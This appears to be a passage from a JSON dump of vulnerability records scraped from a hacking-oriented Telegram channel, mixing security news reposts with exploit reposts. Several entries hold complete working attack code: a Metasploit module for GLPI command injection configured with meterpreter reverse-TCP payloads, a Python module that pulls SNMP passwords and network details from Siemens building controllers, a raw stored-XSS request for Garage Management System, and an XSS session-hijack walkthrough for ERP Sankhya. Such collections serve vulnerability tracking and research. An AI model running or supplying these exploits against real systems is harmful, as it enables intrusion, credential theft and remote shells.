Mobility Client for Windows are being exploited in the wild.The AnyConnect Secure Mobility Client simplifies secure enterprise endpoint access and enables employees to work from anywhere while connected to a secure Virtual Private Network (VPN) through Secure Sockets Layer (SSL) and IPsec IKEv2.\n\nThe two security flaws (tracked as CVE-2020-3433\u00a0and CVE-2020-3153) enable local attackers to perform DLL hijacking attacks and copy files to system directories with system-level privileges. \n\nFollowing successful exploitation, the attackers could execute arbitrary code on the targeted Windows devices with SYSTEM privileges.\n\nLuckily, both vulnerabilities require authentication, with the attackers being required to have valid credentials on the system.\u00a0However, they could be chained with Windows privilege escalation flaws, especially since proof-of-concept exploits are already available online for both CVEs [1, 2].\n\nToday, two years after patching them in 2020, Cisco updated the security advisories to ask admins to update the vulnerable software and block ongoing attacks.\n\n\u201cIn October 2022, the Cisco PSIRT became aware of additional attempted exploitation of this vulnerability in the wild,\u201d the company warned.\n\n\u201cCisco continues to strongly recommend that customers upgrade to a fixed software release to remediate this vulnerability.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Added to CISA\u2019s list of bugs exploited in attacksThis warning confirms an announcement from Cybersecurity and Infrastructure Security Agency (CISA) on Monday that both security flaws have been added to its Known Exploited Vulnerabilities catalog.\n\nOnce added to CISA\u2019s list of bugs exploited in attacks, all Federal Civilian Executive Branch Agencies (FCEB) agencies are required by a binding operational directive (BOD 22-01)\u00a0from November 2021 to apply patches or mitigation measures.\n\nThe federal agencies were given three weeks, until November 11th, to ensure that any ongoing exploitation attempts would be blocked.\nTrending: Common and Uncommon types of SQL Injection Trending: Offensive Security Tool: Monkey365 As CISA added\u00a0yesterday, \u201cthese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise.\u201d\n\nThe U.S. cybersecurity agency also strongly urged all organizations worldwide to prioritize patching these security bugs, even though BOD 22-01 only applies to U.S. FCEB agencies. \u200bTrending: Microsoft data breach exposes over 65K customers\u2019 contact info, emails\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-12-300x150.png Apple fixes new zero-day used in attacks against iPhones, iPadsOctober 25, 2022\nReading Time: 3 minutes\n\n* https://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-3433", "author": {"login": "automation"}}, {"uuid": "1231c106-92ef-49a6-95f2-4c26deff6255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.233033+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/74296", "content": "Black Hat Ethical Hacking\nCisco warns admins to patch AnyConnect flaw exploited in attacks\n\nCisco warns admins to patch AnyConnect flaw exploited in attacksPost Views: 62 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Cisco warned customers today that two security vulnerabilities in the Cisco AnyConnect Secure Mobility Client for Windows are being exploited in the wild.The AnyConnect Secure Mobility Client simplifies secure enterprise endpoint access and enables employees to work from anywhere while connected to a secure Virtual Private Network (VPN) through Secure Sockets Layer (SSL) and IPsec IKEv2.\n\nThe two security flaws (tracked as CVE-2020-3433\u00a0and CVE-2020-3153) enable local attackers to perform DLL hijacking attacks and copy files to system directories with system-level privileges. \n\nFollowing successful exploitation, the attackers could execute arbitrary code on the targeted Windows devices with SYSTEM privileges.\n\nLuckily, both vulnerabilities require authentication, with the attackers being required to have valid credentials on the system.\u00a0However, they could be chained with Windows privilege escalation flaws, especially since proof-of-concept exploits are already available online for both CVEs [1, 2].\n\nToday, two years after patching them in 2020, Cisco updated the security advisories to ask admins to update the vulnerable software and block ongoing attacks.\n\n\u201cIn October 2022, the Cisco PSIRT became aware of additional attempted exploitation of this vulnerability in the wild,\u201d the company warned.\n\n\u201cCisco continues to strongly recommend that customers upgrade to a fixed software release to remediate this vulnerability.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Added to CISA\u2019s list of bugs exploited in attacksThis warning confirms an announcement from Cybersecurity and Infrastructure Security Agency (CISA) on Monday that both security flaws have been added to its Known Exploited Vulnerabilities catalog.\n\nOnce added to CISA\u2019s list of bugs exploited in attacks, all Federal Civilian Executive Branch Agencies (FCEB) agencies are required by a binding operational directive (BOD 22-01)\u00a0from November 2021 to apply patches or mitigation measures.\n\nThe federal agencies were given three weeks, until November 11th, to ensure that any ongoing exploitation attempts would be blocked.\nTrending: Common and Uncommon types of SQL Injection Trending: Offensive Security Tool: Monkey365 As CISA added\u00a0yesterday, \u201cthese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risk to the federal enterprise.\u201d\n\nThe U.S. cybersecurity agency also strongly urged all organizations worldwide to prioritize patching these security bugs, even though BOD 22-01 only applies to U.S. FCEB agencies. \u200bTrending: Microsoft data breach exposes over 65K customers\u2019 contact info, emails\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-12-300x150.png Apple fixes new zero-day used in attacks against iPhones, iPadsOctober 25, 2022\nReading Time: 3 minutes\n\n* https://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-3153", "author": {"login": "automation"}}, {"uuid": "7998fc29-7693-4df0-9150-72e9bec57750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.184804+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74332", "content": "Exploit Collector\nERP Sankhya 4.13.x Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nERP Sankhya versions 4.13.x and below suffer from a cross site scripting vulnerability.\n\nSHA-256 | 1744ed67564a520b1a5d65928e4721a6bdd822c0125cd9c31ecb715595b6e46a\n\nDownload\n# Exploit Title: ERP Sankhya - XSS to Account Takeover\n# Google Dork: N/A\n# Date: 19/10/2022\n# Exploit Author: Lucas Alves Da Cunha - (0xLucas)\n# Vendor Homepage: https://www.sankhya.com.br\n# Version: Sankhya Om <=\n# Tested on: Sankhya Om 4.11\n# CVE: CVE-2022-42989\n\n# Descri\u00e7\u00e3o: \nUm usu\u00e1rio comum no ERP Sankhya pode enviar uma mensagem para qualquer outro usu\u00e1rio do sistema inclusive administradores, atrav\u00e9s da fun\u00e7\u00e3o \"Caixa de Entrada\". No corpo da mensagem, podemos injetar c\u00f3digos html/javascript levando para um cross site scripting.\n\nPayload para verificar exist\u00eancia da vulnerabilidade:\n1 \n\nPayload utilizado para capturar os dados da sess\u00e3o do usu\u00e1rio:\n1 \n\n# Passos para reprodu\u00e7\u00e3o:\n1 - Encontrando a funcionalidade: https://i.imgur.com/B9SWknH.png\n\n2 - Enviando payload para verificar exist\u00eancia da vulnerabilidade: https://i.imgur.com/ZKSkLmx.png\n2.1 - Vulnerabilidade comprovada: https://i.imgur.com/1KiAa1m.png\n\n3 - Explorando a vulnerabilidade: https://i.imgur.com/n8Jevum.png\n3.1 - Sess\u00e3o capturada: https://i.imgur.com/aDatjyN.png\n\nPodemos utilizar os dados da sess\u00e3o capturada e manipular a sess\u00e3o utilizando a ferramenta: Cookie-Editor do Google Chrome, e assim entraremos na sess\u00e3o do usu\u00e1rio desejado. Conforme a imagem a seguir: https://i.imgur.com/L10Yf9f.png\n\n# Impacto:\nExplorando essa vulnerabilidade, podemos comprometer qualquer conta de usu\u00e1rio do sistema, desde uma simples conta at\u00e9 mesmo uma conta de administrador do sistema, causando assim um grande impacto de neg\u00f3cio.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-42989", "author": {"login": "automation"}}, {"uuid": "b0de2857-20b3-4fcd-b191-34cc4ef390ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.140080+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74567", "content": "Exploit Collector\nSiemens APOGEE PXC / TALON TC Authentication Bypass\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png APOLOGEE is a Python script and Metasploit module that enumerates a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers and TALON TC BACnet Automation Controllers. With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to access hidden directories in the web server. All versions prior to 3.5 are affected.\n\nSHA-256 | 9cdea8ef198269714420f4181480f5f779bae0a4ceba444e0d250e3b4071220aDownload #!/usr/bin/env python3\n\n# -*- coding: utf-8 -*-\n# 2022-05-23\n\n# Standard Modules\nfrom metasploit import module\n\n# Extra Dependencies\ndependencies_missing = False\ntry:\nimport logging\nimport requests\nimport requests\nimport xmltodict\nimport xml.etree.ElementTree as ET\nimport socket\nimport struct\nimport requests\nexcept ImportError:\ndependencies_missing = True\n# Metasploit Metadata\nmetadata = {\n'name': 'Siemens BACnet Field Panel Path Traversal',\n'description': '''\nThis module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.\n''',\n'authors': [\n'RoseSecurity', \n],\n'date': '2022-05-23',\n'license': 'MSF_LICENSE',\n'references': [\n{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},\n{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},\n],\n'type': 'single_scanner',\n'options': {\n'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},\n}\n}\n\ndef run(args):\nmodule.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))\nif dependencies_missing:\nlogging.error('Module dependency (requests) is missing, cannot continue')\nreturn\n\ntry:\n# Download Hidden XML File\nr = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)\n\n# Convert to Readable Format\nxml_doc = r.content\nroot = ET.fromstring(xml_doc)\n\n# Parse XML for Sensitive Data\nmodule.log(\"Remote Site ID: \" + root[18].text)\nmodule.log(\"Building Level Network Name: \" + root[26].text)\nmodule.log(\"Site Name: \" + root[27].text)\nmodule.log(\"Hostname: \" + root[28].text)\nip_addr = int(root[30].text, 16)\nmodule.log(\"IP Address: \" + socket.inet_ntoa(struct.pack(\">L\", ip_addr)))\ngw_addr = int(root[32].text, 16)\ngw_addr = str(socket.inet_ntoa(struct.pack(\">L\", gw_addr)))\nmodule.log(\"Gateway IP Address: \" + gw_addr[::-1])\nmodule.log(\"Maximum Transmission Size: \" + root[57].text)\nmodule.log(\"BACnet Device Name: \" + root[60].text)\nmodule.log(\"BACnet UDP Port: \" + root[62].text)\nmodule.log(\"Device Location: \" + root[63].text)\nmodule.log(\"Device Description: \" + root[64].text)\nmodule.log(\"Device Barcode: \" + root[88].text)\nmodule.log(\"Device Revision String: \" + root[104].text)\nmodule.log(\"Device Firmware: \" + root[105].text)\nmodule.log(\"Panel Key Name: \" + root[109].text)\nmodule.log(\"SNMP Username: \" + root[148].text)\nmodule.log(\"SNMP Private Password: \" + root[149].text)\nmodule.log(\"SNMP Authorization Password: \" + root[150].text)\n\n# Determine Running Services\nif int(root[48].text) == 1:\nmodule.log(\"Telnet Enabled\")\nelse:\nmodule.log(\"Telnet Disabled\")\n\nif int(root[84].text) == 1:\nmodule.log(\"Wireless Enabled\")\nelse:\nmodule.log(\"Wireless Disabled\")\n\nif int(root[103].text) == 3:\nmodule.log(\"Webserver Enabled\")\nelse:\nmodule.log(\"Webserver Disabled\")\n\nexcept requests.exceptions.RequestException as e:\nlogging.error('{}'.format(e))\nreturn\nif __name__ == '__main__':\nmodule.run(metadata, run) Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-9946", "author": {"login": "automation"}}, {"uuid": "3b7f0b34-11a2-4e9a-9889-a4ab302792fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.094365+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74066", "content": "Exploit Collector\nPega Platform 8.7.3 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png \nPega Platform versions 8.1.0 through 8.7.3 suffer from a remote code execution vulnerability. If an on-premise installation of the Pega Platform is configured with the port for the JMX interface exposed to the Internet and port filtering is not properly configured, then it may be possible to upload serialized payloads to attack the underlying system. This does not affect systems running on PegaCloud due to its design and architecture.\n\nSHA-256 | 14f97e39b3b48a9075da1f6e66862a187e036b509ff25bfce33fb66bb645c604\n\nDownload\n# Exploit Title: Pega Platform 8.1.0 (and higher) Remote Code Execution\n# Google Dork: N/A\n# Date: 20 Oct 2022\n# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)\n# Vendor Homepage: www.pega.com\n# Software Link: Not Available\n# Version: 8.1.0 on-premise and higher, up to 8.7.3\n# Tested on: Red Hat Enterprise 7\n# CVE : CVE-2022-24082\n\n;Dumping RMI registry:\nnmap -sT -sV --script rmi-dumpregistry -p 9999 \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24082", "author": {"login": "automation"}}, {"uuid": "22116a7e-41a8-4822-95ef-9e7ad278cb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.047019+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid.  We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "vulnerability": "CVE-2022-35914", "author": {"login": "automation"}}, {"uuid": "2710694e-894e-4a9c-aa76-c91fa418c33f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.001085+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/73569", "content": "Dark Reading: Attacks/Breaches\nApache Commons Vulnerability: Patch but Don't Panic\n\nExperts say CVE-2022-42899 is a serious vulnerability, but widespread exploitation is unlikely because of the specific conditions that need to exist for it to happen.", "vulnerability": "CVE-2022-42899", "author": {"login": "automation"}}, {"uuid": "ea89fde7-c454-4e3d-bbc5-30518c0f3179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.957074+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73587", "content": "Scan QR Code and Got Hacked (CVE-2021\u201343530\u00a0: UXSS on Firefox Android Version)\nhttps://medium.com/@sas.kunz/scan-qr-code-and-got-hacked-cve-2021-43530-uxss-on-firefox-android-version-768b24b326fb?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-43530", "author": {"login": "automation"}}, {"uuid": "26c6e174-8735-4d67-a7f8-4e4bf14a56d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.910264+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73589", "content": "I. QR CodeContinue reading on Medium \u00bb (https://medium.com/@sas.kunz/scan-qr-code-and-got-hacked-cve-2021-43530-uxss-on-firefox-android-version-768b24b326fb?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-43530", "author": {"login": "automation"}}, {"uuid": "5686cc47-aefc-462e-8afa-2ce8c058faa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.313875+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73062", "content": "MotivationContinue reading on Medium \u00bb (https://mikpatient.medium.com/cve-2020-13956-2c6964392eb8?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13956", "author": {"login": "automation"}}, {"uuid": "44e45c32-0618-4714-8d33-13c885d8862a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.261433+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41358", "author": {"login": "automation"}}, {"uuid": "d0a113ef-ebbf-44fe-8b3f-809e73101915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.215939+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73306", "content": "Dark Reading: Attacks/Breaches\nResearchers Keep a Wary Eye on Critical New Vulnerability in Apache Commons Text\n\nThere's nothing yet to suggest CVE-2022-42889 is the next Log4j. But proof-of-concept code is available, and interest appears to be ticking up.", "vulnerability": "CVE-2022-42889", "author": {"login": "automation"}}, {"uuid": "5da780b8-d2fe-431d-bb59-66f17182cfa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.173010+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/73246", "content": "Exploit Collector\nSAP Manufacturing Execution Core 15.3 Path Traversal\n\nhttps://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png \nSAP Manufacturing Execution Core versions 15.1 through 15.3 suffer from a path traversal vulnerability.\n\nSHA-256 | d2c66b61de7a4021d8a7f4c40b09c163f1f708ce3aa8581767e5edaefd4cc198\n\nDownload\nTITLE: 3242933 \u2013 [CVE-2022-39802] File path traversal vulnerability in SAP Manufacturing Execution\n\nGeneral information\nRisk: CRITICAL\nVersions Affected:\nSAP MFG EXECUTION CORE 15.1\nSAP MFG EXECUTION CORE 15.2\nSAP MFG EXECUTION CORE 15.3\nVendor URL: https://sap.com\nBug: File path traversal vulnerability\nReported: September 2022\nDate of Public Advisory: October 12, 2022\nReference: SAP Security Note  3242933\nAuthor: RedRays R&D\n\nDescription\nADVISORY INFORMATION\nTitle: 3242933 \u2013 [CVE-2022-39802] File path traversal vulnerability in SAP Manufacturing Execution\nAdvisory: [RedRays-22-031]\nDate published: 12.10.2022\n\nVULNERABILITY INFORMATION\nRemotely Exploitable: Yes\nLocally Exploitable: No\n\nCVSS Information\nCVSS v3 Base Score: 9.9 / 10 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)\n\nVULNERABILITY DESCRIPTION\nWith a CVSS rating of 9.9, the vulnerability fixed in SAP Security Note #3242933 affects SAP Manufacturing Execution and is considered significant.\n\nThe URL used to inquire for this data included a file path argument that could be modified to provide unrestricted directory browsing on the remote server. The OS user running the NetWeaver process or service would be able to access the files contained in each directory. The code fix in the patch takes care of the route internally. This prevents the value from being sent in dynamically as a query string. With a CVSS score of 9.9, the effect on confidentiality, integrity, and availability may be quite substantial depending on the kind of information that is accessed during an attack.\n\nSAP suggests a temporary fix in which sensitive data is removed from the file systems available to the OS user and the OS user\u2019s access to unnecessary file paths is restricted.\n\nTECHNICAL DESCRIPTION\n\nPoC will be published in January 2023.\n\nThe signature of the vulnerability is available on the RedRays Security Platform.\n\nABOUT RedRays\nThe main goal of RedRays is to narrow the security gap in both the technical and business realms. The company offers solutions to examine and protect SAP, Oracle, and Microsoft ERP systems against cyberattacks and internal fraud.\n\nTypically, our customers are big organizations and managed service providers whose needs include the active monitoring and management of security across extensive SAP environments worldwide.\nABOUT RedRays R&D\nThe company\u2019s competence is founded on RedRays\u2019 research section, which specializes in vulnerability research and analysis of essential corporate applications. It has received several accolades from major software companies, including SAP, Oracle, Microsoft Dynamics, and IBM.\n\nExperts from RedRays have been asked to lecture, present, and train at major international security conferences on all continents.\nAddress: Casablanca, Morocco\nPhone: (+32)489-16-78-85\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-39802", "author": {"login": "automation"}}, {"uuid": "9df15aaf-fe31-4da2-acc5-320d3fa83663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.118665+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72979", "content": "CVE-2022\u201341542 Session Mis-Configuration in Devhub Application\nhttps://medium.com/@sc0p3hacker/cve-2022-41542-session-mis-configuration-in-devhub-application-ca956bb9027a?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41542", "author": {"login": "automation"}}, {"uuid": "0b6b6dd5-1760-407e-acf9-244eecb0999a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.073809+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/72981", "content": "Session Misconfiguration is widely popular vulnerability.Continue reading on Medium \u00bb (https://medium.com/@sc0p3hacker/cve-2022-41542-session-mis-configuration-in-devhub-application-ca956bb9027a?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41542", "author": {"login": "automation"}}, {"uuid": "9d2cb2f6-4adb-42a0-bba1-689ddbde6c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:56.025573+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/73060", "content": "CVE-2020\u201313956\nhttps://mikpatient.medium.com/cve-2020-13956-2c6964392eb8?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13956", "author": {"login": "automation"}}, {"uuid": "be81e3a0-e0a0-4383-90c2-7f58f142fae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.980857+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/72909", "content": "Black Hat Ethical Hacking\nGitLab patches RCE bug in GitHub import function\n\nGitLab patches RCE bug in GitHub import functionPost Views: 17 Premium 